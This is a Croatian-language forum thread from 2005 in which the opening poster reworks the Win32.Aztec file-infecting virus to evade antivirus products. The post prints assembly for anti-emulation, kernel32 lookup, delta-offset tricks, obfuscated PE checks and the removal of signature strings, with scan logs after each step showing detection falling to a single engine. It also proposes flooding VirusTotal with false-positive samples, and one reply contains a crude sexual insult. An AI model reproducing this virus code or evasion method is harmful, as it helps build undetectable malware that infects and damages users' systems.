Enivej, takvi se nedostaci odavno iskorištavaju prije svega za EPO. Zamislite da virus zarazi neki program sa kompleksnim GUI-em (a koji to danas na win nije :)...virus recimo patcha DefWndProc handler za, recimo, neku specifičnu WM_* poruku...emulator se konkretno u ovom slučaju može hebat. Zato jer naravno nema resursa/vremena na raspolaganju da emulira cijelu logiku izvođenja sve do tog konkretnog dijela koda.

Zato su neki AV pomalo glupi. Ustvari jako glupi :) U biti imaju predefiniranu bazu "sumnjivog" koda, te parsaju sekciju za kod i u potrazi za tim "sumnjivim" snippetima, te ako ih ima dovoljan broj, oglase zvona za uzbunu. Nedostatak tog pristupa kod kojeg nema dubinske analize kontrolnoga toka jest što je jaaako podložan generiranju FP (False Positive), te neće raditi za bilo koji inteligentnije kriptirani kod (koji standardni, glupi x-raying ne može penetrirati, recimo sa klizećim XOR ključem baziranim na kongruentnom modelu). Koliko je ta metoda s*****, pokazao sam već na Symatecovim "heuristikama" koje ju koriste, i na onom 20-instruction so-called virusu :))))

Daklem, da počnemo...

Umentimo anti_emu snippet kao makro odmah na sam početak virusa...dovoljno je jednom. I to ovako:

Code:

virus_start     label   byte

aztec:  anti_emu
        pushad                                  ; Push all the registers
        ...


Code:

Scan results
File: aztec.bin
Date: 02/12/2005 04:33:17 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [Heuristic/Virus.Win32]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found [Win32.Aztec]
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found [Win32.Iced.1344]
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found [Win32/Aztec.1356]
Norman  5.70.10/20050211        found [W32/FileInfector]
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found [W32/NGVCK]
Symantec        8.0/20050211    found [Bloodhound.W32.2]


I padoše ih....POLA!

Redom: AVG, ClamAV (uvijek sam govorio koliko je OSS nekvalitetan :), DrWeb, eTrust-Iris, Fortinet, F-Prot, Kaspersky. Skoro pa pola :)

Od ostalih ih preko signature detektiraju BitDefender, NOD32v2 i eTrust-Vet, ostali ih preko heuristika nalaze. Zanimljiv je Sybari-ev rezultat koji ga prijavljuje kao spawn NGVCK kita za kreiranje virusa!

Mislim....smiješno....AV koji tvrde da imaju heuristiku, a nisu u stanju emulirati i najobičniju kvazibeskonačnu petlju!! Get Real!!!!!

Također, za f-prot mala zamjerka, pošto će kasnije on nakon nekih modifikacija OPET prijavljivati infekciju. Ali otom potom :)

Sljedeći korak pri modificiranju ovog školskog primjerka virusa jest bila zamjena GetK32 fje sa novijom, modernijom varijantom. Više nije potrebno trošiti skupe CPU cikluse brutforsajući memoriju, već elegantno kombiniramo informacije iz PEB-a. Nisam stavio onu direktnu, kratku verziju, već jednu malo modificiraniju, koju sam sam napisao za svoje potrebe. Moja verzija te fje prvo testira nekoliko već poznatih baza kernel32.dll, nakon toga pokušava iskoristiti PEB, pa tek u krajnjem slučaju poziva onu povratnu adresu sa stoga pa brutforsa. U svakom slučaju ima da radi, na ovaj ili onaj način :) Ta fja izgleda ovako (umjesto defaultne GetK32):

Code:

GetK32:              
            call    __tab                    ; kernel imagebase table for different versions of vindoze:
            dd    077E00000h                ; NT/W2k
            dd    077E80000h                ; NT/W2k
            dd    077ED0000h                ; NT/W2k
            dd    077F00000h                ; NT/W2k
            dd    0BFF70000h                ; 95/98
            dd    077E60000h                ; XP home
            dd    0BFF60000h                ; Me

__tab:            pop    esi
            push    7
            pop    ebx                    ; ebx = counter

__nxt_base:        dec    ebx
            lodsd                        ; take one imagebase
            call    _krnl_check                ; and check it
            jecxz    __got_kernel

            test    ebx, ebx                ; check table end
            jnz    __nxt_base

            mov    eax, fs:[TEB_PEB]            ; take ptr to PEB
            test    eax, eax                ; > 80000000h ?
            js    __PEB_try                ; !NT
    
                   mov    eax, [eax.PEB_PebLdrData]
            mov    esi, [eax.PEB_LDR_InInitOrderModuleList.LE_Flink]
            lodsd                        ; go to second entry
             mov    eax, [eax.LDR_ModuleBase-LDR_InInitializationOrderLdrEnt.LE_Flink]
            call    _krnl_check

            jecxz    __got_kernel
            
__PEB_try:        call    __PEB_x
            mov     esp,[esp.EH_EstablisherFrame]        ; set SEH frame manually
            jmp    __PEB_failed
__PEB_x:        xor    eax, eax
            push    dword ptr fs:[eax]
            mov    fs:[eax], esp
            mov    eax, fs:[TEB_PEB]                   ; *PEB
            mov    eax, [eax+34h]
            mov    eax, [eax+0b8h]                ; now eax should be kernel's imagebase
            call    _krnl_check
__PEB_failed:        @SEH_RemoveFrame
            jecxz    __got_kernel
            
__rec_scan:        mov    eax, [esp.(2*Pshd).Arg1.cPushad]    ; take kernel return address. skip pushad, SEH and one call
            and    eax, -1 shl 16                ; align to 10 pages
            add    eax, 2 shl 15                ; add 10 pages

__1:            sub    eax, 2 shl 15                ; and loop per 10 pages
            call    _krnl_check
            jecxz    __got_kernel

            jmp    __1                    ; we r gonna find that bloody kernel :)

__got_kernel:        ret

_krnl_check:        mov    ecx, eax                ; gotta set ecx so that we can return true
            pusha

            call    __temp
            mov    esp, [esp.EH_EstablisherFrame]        ; set SEH manually
            jmp    __end_k

__temp:            xor    edx, edx
            push    dword ptr fs:[edx]
            mov    fs:[edx], esp

            mov    edx, [eax.MZ_lfanew]            ; take RVA to PE header
            mov    ebx, [edx+eax]               ; check PE signature
            xor    ebx, 'SUN'                ; indirectly
            sub    ebx, IMAGE_NT_SIGNATURE xor 'SUN'    ; lil sig
            jnz    __end_k

            cmp    eax, [edx+ecx.NT_OptionalHeader.OH_ImageBase]    ; check the predefined imagebase
            jnz    __end_k

            xor    ecx, ecx                ;no kernel for us :(

__end_k:        @SEH_RemoveFrame
            mov    [esp.Pushad_ecx], ecx
            popa
                     
__end:            retn


Nakon toga opalih sken:

Code:
  
AntiVir 6.29.0.11/20050209      found [Heuristic/Virus.Win32]
AVG     718/20050207    found nothing
BitDefender     7.0/20050209    found [Win32.Aztec]
ClamAV  devel-20050130/20050210 found nothing
DrWeb   4.32b/20050209  found nothing
eTrust-Iris     7.1.194.0/20050210      found nothing
eTrust-Vet      11.7.0.0/20050210       found [Win32.Iced.1344]
Fortinet        2.51/20050209   found nothing
F-Prot  3.16a/20050208  found nothing
Kaspersky       4.0.2.24/20050210       found nothing
NOD32v2 1.995/20050210  found [probably unknown WIN32 virus]
Norman  5.70.10/20050207        found [W32/FileInfector]
Panda   8.02.00/20050209        found [Suspect File]
Sybari  7.5.1314/20050210       found [W32/NGVCK]
Symantec        8.0/20050210    found [Bloodhound.W32.2]


Kao što vidimo gotovo se ništa nije promijenilo. Čini se da su dotični AV otporni na ovakve cake, ili da su detekcije bazirane na nekoj sekvenci koda koja se dogodila prije poziva GetK32 procedure. NOD32v2 sad virus ne detektira preko signature, već preko heuristika.

Sljedeće što nam je na umu jest maknuti sve baš statičke karakteristike ovog virusa. Payload je u vx terminologiji ono što virus radi (recimo destruktivan payload - brisanje hard diska, konstruktivan payload - 29a logo za bootanja mašine :) E pa payload ove bebe jest običan Message Box za vrijeme prve generacije, i njega brišemo:

Code:

szTitle         db      "[Win32.Aztec v1.01]",0

szMessage       db      "Aztec is a bugfixed version of my Iced Earth",10
                db      "virus, with some optimizations and with some",10
                db      "'special' features removed. Anyway, it will",10
                db      "be able to spread in the wild succefully :)",10,10
                db      "(c) 1999 by Billy Belcebu/iKX",0


Nadalje, u tijelu virusa je ostavljen "potpis", i njega mičemo:

Code:

mark_   db      "[Win32.Aztec v1.01]",0
           db      "(c) 1999 Billy Belcebu/iKX",0


Dakle totalno trivijalne stvari. Par statičkih stringova, i to je to. Reasemblirarm i analiziram:

Code:
  
Scan results
File: aztec.bin
Date: 02/12/2005 04:56:11 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [W32/Aztec]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found [could be infected with an unknown virus]
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found [probably unknown WIN32 virus]
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


Padoše redom: BitDefender, eTrust-Vet, Norman i Sybari. Mislim.....koja bruuuuuuka. A sve što sam uradio jest izbrisao par stringova :> Mislim, mogao sam uzeti i hex editor i prebrisati ih sa "U STUPID AV" stringom :)))

Stvarno smiješno......Eto, zasad samo AntiVir detektira preko signature, a još nisam ni počeo nešto što bi se pod normalnim okolnostima moglo nazvati "sakrivanje" podataka/koda od heuristika.

Nakon toga sam primjenio Mikky-ev savjet, te izmjenio pri računanju delta offseta onaj:

Code:

        call    delta             
delta:  pop     ebp
        mov     eax,ebp


u:

Code:

        call    delta   
delta:  mov    ebp, [esp]
        add    esp, 4
        mov     eax,ebp


Pri čemu je pao:

Code:
  
Scan results
File: aztec.bin
Date: 02/12/2005 05:15:05 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [W32/Aztec]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found [probably unknown WIN32 virus]
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


f-prot :))

Moram napomenuti da mi je jučer već bio otpao i AntiVir do ove točke (u biti na prošloj). Izgleda da ovaj virustotal SURAĐUJE SA ANTIVIRUSNIM KOMPANIJAMA TAKO ŠTO IM PROSLJEĐUJE PRIMJERKE!

Đubre jedno.

Idemo dalje. Dosta je bilo dječjih igara (iako se čini da su većina testiranih heuristika baš to - dječja igra), vrijeme je za pravu akciju. Napravljene su sljedeće izmjene (neću pejstat sve kodove pošto je puno izmjena, šaljem na mejl na zahtjev):

- maknute su Aztecove obsoletne i implementirane vlastite procedure za traženje adresa API-ja, ovaj put preko hash tablice a ne preko stringova, maknuti SVI statički stringovi u kodu

- maknut infection mark:

Code:

       mov     dword ptr [edi+4Ch],"CTZA"      ; Put infection mark


- x_push makro za ".EXE" (tj. EXE_MASK), z0mbijev makro koji on-the-fly generira zadani string na stogu + x_pop za poravnanje esp

- OpenFile procedura inline-irana -> NOD32 mijenja prijavu u: NOD32v2 1.995/20050210 found [probably modified virus Win32/Highway.C (WIN32) [7]] ludnica :))

- inline-irane su - TruncFile, MapFile, CreateMap, Align procedure

- Umetanjem hlt instrukcije pri samom počcetku virusa ostaje jednaka detekcija kod svih, iz čega možemo zaključiti da se emulacija nastavlja čak i ako je došlo do greške kod nekih instrukcija. Sad više nije u igri obsfukacija kontrolnog toka, već micanje broja zastavica za sumnjive dijelove koda. Mada, čini se, postoji OGROMNA razlika u načinu kako je to implementirano kod nekih proizvoda. Recimo, ako unesem BAŠ SRANJA od instrukcija, recimo direktan poziv na ExitProcess i sl. nebuloze, jedino će Symantec davati FP, što će reći da kod ostalih heuristika postoji neka vrsta tolerancije prema potencijalnim junk instrukcijama, pogotovo jednobajtnim.

- novi kod za delta offest:

Code:

        call    delta                  
delta:  
       mov    esi, esp
       lodsd
       mov   ebp, eax
       call  $+5
       add    esp, 8
       
;      mov     eax,ebp
       sub     ebp,offset delta


Ništa komplicirano, samo hrpa izmjena kako bismo malo modernizirali virus :) Evo rezultata:

Code:

Scan results
File: aztec.bin
Date: 02/12/2005 05:32:11 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found nothing
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found [probably unknown WIN32 virus]
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


Odoše f-prot i AntiVir :)) Eh šta ti je kad su ti heuristike hrpa govana....

Sad mogu reći da samo Panda, Nod32 (i f-prot, ovisi kako mu šune :) imaju nešto što se može nazvati heuristikama. Ostalo su sve marketinški nabumbani proizvodi koji LAŽU svojim mušterijama o podršci detekcije još nepoznatog malware-a. Ako nisu uspjeli detektirati ovako TRIVIJALNO modificirani virus otvorenog koda, star 5 god, onda im od heuristike ne ostaje ni h.

Nakon toga su napravljene u kodu sljedece preinake, pri cemu mi je cilj bio sto "opcenitija" definicija virusa:

- izmjenjen dio koda nakon delta offseta, ebx preuzeo ulogu delta registra (prije bio ebp):

Code:

        sub     ebp,offset delta
        mov     ecx, shit_size-1
        sub     eax, ecx    ;shit_size                   ; Obtain the Image Base on 
        dec     ecx
        sub     eax,00001000h                   ; the fly
NewEIP  equ     $-4
       
        mov      ebx, ebp
        mov     dword ptr [ebx+ModBase],eax


- maknuti svi viškovi koda uzrokovani prethodnim dodavanjima..

- inline-irane su procedure: PrepareInfection, InfectAll

- ebp->ebx sve do kraja koda, i u dijelu za infekciju, dodana privremena varijabla temp

- obsfukirana provjera za "PE" signaturom u infekcijskoj proceduri -> pao nod32!

Code:

      add     esi,eax
        lodsd
        sub   esi, 4
        xor     eax, 'SUN'
        sub      eax, IMAGE_NT_SIGNATURE xor 'SUN'
        ;cmp     dword ptr [esi],"EP"            ; Is it PE?
        jnz     NoInfect


Code:

AntiVir 6.29.0.11/20050211      found [W32/Latzec]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found nothing
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found [Suspect File]
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


Rezultat koji prijavljuje AntiVir zanemarimo, jer mi ovaj isti virus prije 2 dana nije detektirao. Njegova trenutna detekcija je 99.99% rezultat suradnje sa virustotal servisom preko kojeg je ovaj sken obavljen :>

Idemo dalje.

- Panda je izgleda opušila na komentiranju hardcoded adresa kernela:

Code:

;            call    __tab                    ; kernel imagebase table for different versions of vindoze:
;            dd    077E00000h                ; NT/W2k
;            dd    077E80000h                ; NT/W2k
;            dd    077ED0000h                ; NT/W2k
;            dd    077F00000h                ; NT/W2k
;            dd    0BFF70000h                ; 95/98
;            dd    077E60000h                ; XP home
;            dd    0BFF60000h                ; Me
;
;__tab:            pop    esi
;            push    7
;            pop    ebx                    ; ebx = counter
;
;__nxt_base:        dec    ebx
;            lodsd                        ; take one imagebase
;            call    _krnl_check                ; and check it
;            jecxz    __got_kernel
;
;            test    ebx, ebx                ; check table end
;            jnz    __nxt_base


Code:

Scan results
File: aztec.bin
Date: 02/12/2005 06:15:41 (GMT+1)
----
AntiVir 6.29.0.11/20050211      found [W32/Latzec]
AVG     718/20050210    found nothing
BitDefender     7.0/20050211    found nothing
ClamAV  devel-20050130/20050211 found nothing
DrWeb   4.32b/20050211  found nothing
eTrust-Iris     7.1.194.0/20050212      found nothing
eTrust-Vet      11.7.0.0/20050211       found nothing
Fortinet        2.51/20050212   found nothing
F-Prot  3.16a/20050210  found nothing
Kaspersky       4.0.2.24/20050212       found nothing
NOD32v2 1.997/20050211  found nothing
Norman  5.70.10/20050211        found nothing
Panda   8.02.00/20050211        found nothing
Sybari  7.5.1314/20050212       found nothing
Symantec        8.0/20050211    found [Bloodhound.W32.2]


Ode i glupa Panda. NOD32 je bar umro časno -> nije prepoznao modificiranu verziju cmp instrukcije :) Ovaj dio koda koji sam maknuo za Pandu je ionako star i nepotreban, služi samo za ubrzavanje procedure. Bio sam ga napisao kad sam pravio (prvi!) generički win32 shellcode, 2 mjeseca prije nego što je neke njegove dijelove rippala ona đubrad iz LSD :> Tad još PEB trik nije bio siguran, pa se sve koristilo :>

Ovaj glupavi AntiVir opet zanemarimo, jer, kao što rekoh, jučer nije ništa prijavljivao. Hebeni virustotal, sunce mu hebem, neću više ništa na njega slati :>>>> Uostalom, kao što se vidi, ne rade mu heuristike, već neka fixna signatura koju bih, da mi se sad da (a ne da), maknuo vjerojatno komentiranjem/mijenjanjem par instrukcija :>

E sad je ostao još samo Symantec. Symantec je specifična priča. Radi se o ultimativnom đubretu od heuristika. Zašto? Zato jer ovaj:

Code:

              push          eax
              div           ecx
              pop           eax
              sub           ecx, edx
              add           eax, ecx
              pop           edx

              movzx         eax, word ptr [edi+06h]
              dec           eax
              imul          eax, eax, 28h
              add           esi, 78h
              mov           edx, [edi+74h]
              shl           edx, 3
              mov           edx, [esi+10h]
              mov           eax, [esi+0Ch]

              push          eax
              div           ecx
              sub           ecx, edx
              add           eax, ecx
              pop           edx

              or            dword ptr [esi+24h],0A0000020h


komadič koda prijavljuje kao "virus" ! Taj sam komadić koda dobio micanjem "viškova" sa originalnog virusa. Naravno da je ovaj komadić koda bezopasan i da ništa ne radi. I što je najbolje, RUŠI SE kad se pokrene. Zanimljivi su ovi dijelovi: Prvi i treći su standardni snippeti za align sekcije nakon što joj je dodano tijelo virusa, drugi je dio u kojem se uzima RVA posljednje sekcije u eax, pod pretpostavkom da su esi i edi adrese PE headera, dok je zadnji dio postavljanje read i write bitova na atribute te sekcije. Divan virus, nema šta :) E ove iz Symanteca treba osobito naklepat :))

Zaključak

Mislite da ste sigurni ako imate najnovijeg Nortona? Ako vas na taskbaru čuva Pandina šapica? E pa niste. Barem ne od klasičnih virusa koji su divljini. A kamoli od opskurnog malware-a koji profiji pišu po narudžbi. Panda, f-prot, NOD32 su pobjednici. Crveni karton dobiva Symatec zbog FP na "virus" od 20 instrukcija. Ostalo sve srednja žalost. Tj. s*****. Imam neki osjećaj da ako sad napišem neki FP fuzzer i pošsaljem ga Virus Bulletin, nijedan AV u sljedećem broju ne bi imao 100% :)))

Ma jok. Stavit ću da svaki dan 10000 takvih FP šalje na virustotal. Pa neka AV "stručnjaci" umru dok ne nađu bugove u svojim patetičnim heuristikama. Lako je ubaciti binary u program koji će nakon 10 sati rada ispljunuti sigurnu definiciju, ali brate, popravi ti bug u programu tako da i dalje ne generira FP! Malo teško....we'll see :)

Malo anti-Symantec propagande, pošto je zauzeo zadnje mjesto i još uvijek lažira svoje rezultate:

http://www.nod32.com/news/cnet_zdnet.htm
http://www.nod32.com/news/joe_wells.htm

Citat:

In his CNet / ZDNet review, Ken Feinstein, a part-time amateur antivirus tester with no credentials whatsoever in the antivirus industry, used a handful of Rosenthal Utilities simulated viruses to rate NOD32 much lower in virus detection than Virus Bulletin (or any other competent antivirus software reviewer) has ever rated it !!!

Ken Feinstein makes a "big deal" of the fact that NOD32 misssed his pretend viruses!

Of course NOD32 missed them !!!

NOD32 was designed to miss them !!!

Simulated viruses have been ridiculed by the antivirus industry for years!

It's either a virus or it's not --- and if it's not a virus then no decent antivirus program will detect it as a virus!

One would think CNet / ZDNet would have learned from their past mistakes, but it seems they still think their amateur reviewers know more about antivirus product testing than antivirus professionals.

Joe Wells, Founder and Director of the WildList Organization, wrote a scathing commentary about Gregg Keizer's September 2000 CNet antivirus program review in an open letter to CNet, in which he said :

-> If a product does not report a simulated virus as being infected, it's right. And if a program does report a simulated virus as being infected, it's wrong. Thus, using simulated viruses in a product review inverts the test results. It grossly misrepresents the truth of the matter because :
-> It rewards the product that incorrectly reports a non-virus as infected.
-> It penalizes a product that correctly recognizes the non-virus as not infected.

Norton AntiVirus --- CNet's long-time "Editor's Choice" --- does detect Rosenthal's non-virus files as infected!

NOD32 --- rated as "Poor" in detection by CNet --- doesn't detect Rosenthal's non-virus files as viruses!

....(pročitajte do kraja, ima još toga zanimljivoga :)



Ljudi, nemojte nasjedati Norton propagandi, ne budite Amerikanci da mediji manipuliraju Vašim životima. Imate ovdje crno na bijelom, sve što sam ovdje napisao će potvrditi svaki ozbiljniji (anti)virusni stručnjak.

Slobodno pokažite ovaj članak vašim obližnjim AV distributerima :>

AV odabirite prema vlastitoj procjeni, a ne kako vam trgovci kažu.
[ Sundance @ 12.02.2005. 07:39 ] @
Sa http://www.virustotal.com/flash/index_en.html

Citat:
Put only SCAN in the subject field, SCAN- if you don't want to distribute the sample to AV companies.


Damn.....zašto ovo nisam prije vidio :)
[ Xpirit @ 12.02.2005. 09:24 ] @
Mogu ovo da prevedem i posaljem u F-Secure? I da li bi vise hteo da probas i F-Secure posto ga viruslist nema?
[ Mikky @ 12.02.2005. 14:42 ] @
Hehe legendarno.
Prevedi i posalji ovo za sledeci a29 issue.
[ Vojislav Milunovic @ 12.02.2005. 19:59 ] @
Fenomenalno bratac, fenomenalno =) Joj kako bi da se najabem keve onom kasperskom, ili bi mu zenu dovatio ipak =) Ruskinja, a cujem da se ruskinje satiru od k**** =))) hahaha =)

p.s. ne znam koji mi vrag, ali sam izgleda prso u poslednje vreme =)

[ BaCkSpAcE @ 13.02.2005. 01:22 ] @
Sve mi je jasno, ali odakle vam toliki AV skeneri... ne bih bas mogao svaki da instaliram na komp pa da isprobavam...
[ Sundance @ 05.03.2005. 17:15 ] @
Evo malo sa nezavisne studije [1] :

Citat:
For example, in some cases the Norton antivirus scanner could not even detect insertions of nop instructions.


Citat:
We tested three commercial virus scanners using obfuscated versions of the four viruses described earlier. The results were quite surprising: a combination of nop-insertion and code transposition was enough to create obfuscated versions of the viruses that the commercial virus scanners could not detect. Moreover, the Norton antivirus software could not detect an obfuscated version of the Chernobyl virus using just nop-insertions.


Papir je inače fenomenalan, preporučam zainteresiranima da ga pročitaju do kraja.

Jedina zamjerka što nisu testirali sa AV koji imaju prave heuristike (f-prot, NOD32..), a ne ova Norton i McAfee govanca...



[1] http://www.cs.wisc.edu/wisa/papers/safeTR1467/cj03.html
[ Vojislav Milunovic @ 05.03.2005. 21:21 ] @
Haha fino :))